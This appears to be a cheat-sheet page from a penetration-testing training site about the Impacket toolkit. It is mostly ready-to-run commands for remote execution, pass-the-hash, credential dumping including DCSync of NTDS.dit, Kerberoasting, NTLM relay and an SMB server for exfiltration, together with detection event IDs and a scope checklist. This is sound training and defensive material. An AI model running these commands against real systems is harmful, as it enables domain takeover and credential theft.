Skip to content
Pwnversity
TOOL-IMPACKETadvanced · 4 min · upd. 2026-10

Impacket

Impacket is a collection of Python scripts that implement Windows network protocols (SMB, Kerberos, MSRPC, LDAP). It’s the essential toolbox for attacking Active Directory: remote execution, credential dumping, Kerberos attacks, and relay (see Kerberos, NTLM).

Impacket (Fortra, open source) is a Python library with low-level implementations of many network protocols, shipped with ready-to-use examples (the *.py scripts). It’s the basis of many other tools (NetExec, for instance) and the standard for interacting with Windows services from Linux.

  • Execute commands remotely on Windows (psexec, wmiexec…).
  • Dump credentials (SAM, LSA, NTDS.dit via DCSync).
  • Kerberos attacks: Kerberoasting, AS-REP roasting, ticket forging.
  • NTLM relay and server utilities (SMB server, MSSQL client).
Ventana de terminal
sudo apt install impacket-scripts # Kali/Parrot
# or with pipx from the official repository
pipx install impacket
# scripts are named: impacket-psexec, impacket-secretsdump... or <script>.py

Remote execution (all accept -hashes LM:NT for pass-the-hash):

Ventana de terminal
psexec.py domain/user:pass@10.10.10.10 # SYSTEM shell (noisy, creates a service)
wmiexec.py domain/user:pass@10.10.10.10 # via WMI (stealthier, semi-interactive)
smbexec.py domain/user:pass@10.10.10.10 # via service and SMB
atexec.py domain/user:pass@10.10.10.10 'whoami' # via scheduled tasks

Pass-the-hash (no password, just the NT hash):

Ventana de terminal
psexec.py -hashes :<NT> Administrator@10.10.10.10

Credential dumping (see Credential Dumping):

Ventana de terminal
secretsdump.py domain/user:pass@10.10.10.10 # host SAM + LSA
secretsdump.py -just-dc domain/admin:pass@dc01 # NTDS.dit (DCSync) on the DC
secretsdump.py -sam SAM -system SYSTEM LOCAL # from files dumped locally

Kerberos attacks (see Kerberos):

Ventana de terminal
# Kerberoasting: extract TGS of SPN accounts to crack offline
GetUserSPNs.py -request -dc-ip 10.10.10.5 domain/user:pass
# AS-REP roasting: users not requiring Kerberos pre-authentication
GetNPUsers.py -dc-ip 10.10.10.5 domain/ -usersfile users.txt -no-pass
# request a TGT and use it (pass-the-ticket)
getTGT.py domain/user:pass -dc-ip 10.10.10.5
export KRB5CCNAME=user.ccache
psexec.py -k -no-pass domain/user@host

NTLM relay and other utilities (see NTLM):

Ventana de terminal
# relay captured NTLM authentications (e.g. with Responder)
ntlmrelayx.py -t smb://10.10.10.20 -smb2support
smbserver.py share /tmp/shared -smb2support # SMB server for exfil/transfer
mssqlclient.py domain/user:pass@10.10.10.30 # MSSQL client (see /en/windows-ad/ad-mssql/)
lookupsid.py domain/user:pass@dc01 # enumerate SIDs/users (RID brute)
flowchart TD
  A[Credential / hash / ticket] --> B{Goal}
  B -->|Run commands| C[wmiexec / psexec -hashes]
  B -->|Dump secrets| D[secretsdump -just-dc]
  B -->|Kerberos| E[GetUserSPNs / GetNPUsers]
  E --> F[Hashes -> cracking]
  F --> G[New credentials]
  G --> B
  D --> H[krbtgt -> Golden Ticket]
  • wmiexec.py is usually stealthier than psexec.py (it doesn’t create a persistent service).
  • Reuse tickets with -k -no-pass and the KRB5CCNAME variable for pass-the-ticket.
  • Combine with NetExec: NetExec to sweep, Impacket for the targeted action.
  • psexec.py/smbexec.py create services and leave Event ID 7045 (service install) and 4697.
  • Execution leaves network logons (Event ID 4624 type 3) and anomalous child processes of services.exe/wmiprvse.exe (Sysmon, see Sysmon).
  • secretsdump.py -just-dc triggers a DCSync-style replication: Event ID 4662 with the replication GUID from a non-DC host.
  • Credentials/hashes/tickets within authorized scope.
  • Execution method chosen for stealth (wmiexec > psexec).
  • NTDS dump only against the DC with explicit permission.
  • Kerberos tickets managed with KRB5CCNAME.
  • Obtained secrets treated as sensitive data.